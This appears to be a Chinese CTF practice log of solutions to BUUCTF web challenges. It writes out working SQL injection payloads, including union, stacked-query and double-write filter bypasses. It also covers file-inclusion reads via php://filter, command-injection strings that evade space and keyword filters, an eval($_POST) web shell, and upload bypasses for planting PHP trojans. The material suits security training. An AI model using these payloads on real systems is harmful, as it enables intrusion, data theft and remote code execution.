Buu做题日志 web1
[极客大挑战 2019]EasySQL
一般解法
实际上这道题是登录成功就可以拿到flag
在用户名和密码都填:
payload:' or 1=1
由于用户名和密码都存在sql注入漏洞,可以用'
闭合前面的查询语句同时用or
绕过判断
正常解法
测试简单注入语句
有报错回显
所以密码框存在注入,可以用’闭合
当输入2”时,正常返回密码错误
接下来用%23作注释符,可以得到页面正常。
sql中用#作为注释,这是用get传递数据,用url编码一下就是%23
然后开始查有多少字段
测试到3的时候发现可以正常显示了,说明前面的查询字段有3个
构造语句,开始查当前数据库
Payload:username=1&password=1’ union select null,null,(select database()) %23
有三个查询字段,所以union 后面的语句填充两个null,和一个查当前库的语句
查到数据库就已经爆出flag
[HCTF 2018]WarmUp
打开题目一个滑稽,F12里有一个source.php,进去就是源码
/index.php?file=hint.php是一个文件包含,source.php为Index.php的源代码,得到提示,Flag在ffffllllaaaagggg里
1 | <?php |
构造payload:file=source.php/?file=source.php%253f../../../../ffffllllaaaagggg
访问即是flag
[极客大挑战 2019]Havefun
打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有
F12里有
1 | <!-- |
传一个cat=dog就是flag了
[ACTF2020 新生赛]Include
用bp抓包,无其他猫腻,查看响应头得到 ==> php7.3.13,url?file=flag.php
考虑到题目名字为了Include就是文件包含
考察利用php://filter伪协议进行文件包含
构造payload=url/?file=php://filter/read=convert.base64-encode/resource=flag.php
解码后就是flag
[强网杯 2019]随便注
测试 1’ or 1=1 # ,初步判定存在SQL注入。
1 | 1' or 1=1 # |
再测试字段数,到3时报错,说明字段数为2.
1 | 1' order by 1 # |
接着尝试union注入,回显了过滤的关键字。
然后就是“堆叠注入”了。原理很简单,就是通过 ; 号注入多条SQL语句。先通过show databases爆出数据库。
1 | 0'; show databases; # |
然后用 show tables 尝试爆表
1 | 0'; show tables; # |
可以看到这里有两个表,我们先尝试爆words表的内容。
1 | 1'; show columns from words; # |
然后报表 1919810931114514 的内容。这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
1 | 0'; show columns from `1919810931114514 `; # |
可以发现爆出来了flag字段,但是不能查看就去看了下WP
解题思路1:
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1 | 1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);# |
解题思路2:
因为select被过滤了,所以先将select * from 1919810931114514
进行16进制编码
再通过构造payload得
1 | ;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
解题思路3
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
知识点总结:
show
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
1 | show datebases; //数据库。 |
alert
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )
1 | alter table " table_name" add " column_name" type;#添加一个列 |
SQL约束 (规定表中数据的规则)
not null- 指示某列不能存储 NULL 值。
1 | alter table persons modify age int not null;//设置 not null 约束 。 |
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
1 | alter table persons add age primary key (id) |
check-限制列中值的范围。
1 | alter table person add check (id>0); |
default-规定没有给列赋值时的默认值。
1 | alter table person alter city set default 'chengdu' ;//mysql |
auto_increment-自动赋值,默认从1开始。
foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。
[SUCTF 2019]EasySQL
经过一系列的输入测试发现,输入数字时会显示 Array ( [0] => 1 )
而输入0则不显示
但输入flag会提示 Nonono. 那么它内部到底是一个怎么样的呢?
我们猜测它有一个 ||符号,因为当我们输入数字时被当成常量一直输出1,当我们输入带有字母时会被当做一个变量(列)而又无法找到,所以报错(没有回显),而输入带有”flag“的字符串都会弹出 Nonono. 说明过滤了“flag”这几个字符(后面发现,不区分大小写都过滤了)
2,我们尝试使用,堆叠注入,可以显示出有flag字段,但是因为过滤了“flag”几个字符所以行不通。
3,最后查看网上wp发现后台的语法可能是
1 | select.POST['参数'] || flag from flag |
因此可以输入*,1
来显示全部内容:
4,考核的知识点描述:
1,此题我们需要运用堆叠注入,和mysql中的 || 符号的意思及如何改变,还有mysql中的sql_mode模式的概念了解。
2,mysql服务器可以在不同的sql_mode模式下运行,并且可以根据sql_mode系统变量的值,为不同的客户机应用不同的模式。sql_mode会影响mysql支持的sql语法,并且会执行数据验证检查;
3,在Oracle,用 || 连接字符串的,而在mysql,是用CONCAT来实现的。mysql为了兼容这一个特性,设置了PIPES_AS_CONCAT模式,mysql会将 || 视为字符串的连接操作符而非 或 运算符。具体命令为:set sql_mode=PIPES_AS_CONCAT;
补充知识
1 | sql_mode:是一组mysql支持的基本语法及校验规则 |
1 | 当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数 |
关于MYSQL的sql_mode解析与设置
ONLY_ FULL_ GROUP_B:如果在SELECT中的列,没有在GROUP BY中出现,那么将 认为这个SQL是不合法的,因为列不在GROUP BY从句中,因为这个设置的存在,我们对于group by的用法只能是类似于select * from users group by id ;
并且只能展示group by的字段,要是带有其他字段便会报错。
对这种状态进行修改:
1 | set sql_mode=(select replace (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用该语句来将空格替换掉only_full_group_by |
STRICTTRANSTABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做任何限制。
NOZERODATE:在严格模式,不要将 ‘0000-00-00’做为合法日期。你仍然可以用IGNORE选项插入零日期。在非严格模式,可以接受该日期,但会生成警告。
ERRORFORDIVISIONBYZERO:在严格模式,在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误(否则为警告)。如果未给出该模式,被零除时MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作结果为NULL。
NOAUTOCREATE_USER:防止GRANT自动创建新用户,除非还指定了密码。
ANSIQUOTES:启用ANSIQUOTES后,不能用双引号来引用字符串,因为它被解释为识别符。
PIPESASCONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似。
[ACTF2020 新生赛]Exec
知识点
没有过滤,利用常见管道符
命令执行
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、; 前后都执行,无论前面真假,同&,(linux也有)
解题:
1 | 127.0.0.1|ls |
从根目录开始找flag,耗时长
1 | 127.0.0.1 | find / -name flag |
[极客大挑战 2019]Secret File
知识点:
前端中背景可以覆盖内容,页面源代码可以查看完整的html
在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。
文件包含漏洞,PHP伪协议获取文件
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
打开链接
访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php,我们点进去。
访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。我们可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。
访问secr3t.php,页面显示了php代码
1 | <?php |
发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。
传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:url[/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php](http://00b5c733-809a-4aed-a498-27d306b09452.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php))
解密base64即可
[GXYCTF2019]Ping Ping Ping
那就放在URL里尝试吧
/?ip=127.0.0.1
有明显的的回显结果
- 构造如下 payload有结果,得到文件名称
1
/?ip=127.0.0.1|ls
1 | ?ip=1|cat flag.php |
发现空格被过滤
绕过空格
1 | $IFS |
注意:
有时 cat
可能被过滤,那么尝试用 tac
,反向输出;或者 linux命令中可以加 \
,所以甚至可以 ca\t /fl\ag
知道了空格的绕过方法,逐个尝试,构造如下 payload
1 | /?ip=1|cat$IFS$1flag.php |
过滤了flag
查看 index.php 看能否得到些许有用信息,构造 payload
1 | /?ip=1|cat$IFS$1index.php |
进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问 flag.php
的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload
1 | /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
查看右键源码即可有flag
官方给出 payload 为
1 | echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
即先对 cat flag.php
进行base64 加密,过滤 bash
,那就用 sh
还有另外一种方法:内联执行
使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即
1 | /?ip=2.2.2.2;cat$IFS$1`ls` |
知识点:
- 命令执行变量拼接
- 过滤 bash 用 sh 执行
- 内联执行,将反引号内命令的输出作为输入执行
- 空格绕过姿势
- 代码审计能力
- 熟悉 Linux 命令的使用方法,管道等
[极客大挑战 2019]LoveSQL
直接万能密码,登陆成功
登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
?username=1' order by 1%23&password=ads
没有报错,只是说账号密码错误。直到order by 4
的时候,报错了:
判断出有三个字段,接下来开始寻找注入点:
?username=1' union select 1,2,3%23&password=ads
很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。
1 | ?username=1' union select 1,database(),3%23&password=ads |
得到数据库名:geek!
1 | ?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads |
得到表名geekuser,l0ve1ysq1
1 | ?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads |
得到字段名id,username,password
1 | ?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads |
flag出来了~~
[极客大挑战 2019]Knife
看到题目 knife 第一反应 猜测可能是中国菜刀题
1 | eval($_POST["Syc"]); |
这是一个典型的后门程序
有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST[‘posha’]的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行。
用蚁剑复制URL并填入密码,连上查看根目录就是flag
[极客大挑战 2019]Http
进入环境找到secret.php
1 | 我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行 |
随后提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容
它说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,那么我们来添加一行
1 | X-Forwarded-For:127.0.0.1 |
接下来就是flag
[极客大挑战 2019]Upload
从页面上来看是上传一个图片文件,但是不知道是怎样检查的,要先试一试
一般可以检查的地方有:后缀名、content-type、文件头的部分内容
先上传一个php,不做任何修改
接下来试一下phtml+修改content-type
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
也许文件头也检查了,那就加上GIF89a
测试出来大概就是,后缀名可以是phtml,会检查content-type,文件头的部分,以及<?
所以最后的木马:
蚁剑连上就是flag
[ACTF2020 新生赛]Upload
打开之后啥也没有,鼠标放在中间的灯上面发现有文件上传的地方,猜测是一个文件上传漏洞
先随便上传一个文件,发现提示
并且bp抓包并没有抓到包,说明为前端检测过滤。
那就上传jpg,png,gif这三种类型的文件,然后bp抓包在修改后缀为php。
先上传一个jpg文件,内容为。
发现后端还是进行了检查过滤
那就试试其他几种后缀:
1 | 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持) |
发现只有phtml满足绕过并且能够执行php代码
访问这个文件
将将文件内容改成重新上传
ps:这题不能上传.htaccess文件,因为上传文件后会修改文件名。
[RoarCTF 2019]Easy Calc
题目打开查看源码
.ajax是指通过http请求加载远程数据。
可以发现有一个calc.php,输入的算式会被传入到这个php文件里,尝试一下能不能打开
1 | <?php |
foreach 语法结构提供了遍历数组的简单方式。
语法:
1 | foreach (array_expression as $value) |
在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
其他几个参数:
1 | /i (忽略大小写) |
了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了
? num=1;var_dump(scandir(chr(47)))
scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交
可以看到一个f1agg,打开这个文件就好
1 | payload:? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
即可看到flag
[极客大挑战 2019]BabySQL
select union or and where from 都被过滤了,采取双写绕过
比如:seselectlect这种形式
1 | http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1111 |
1 | http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23&password=1111 |
1 | http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111 |
以上payload依次输入即可得到flag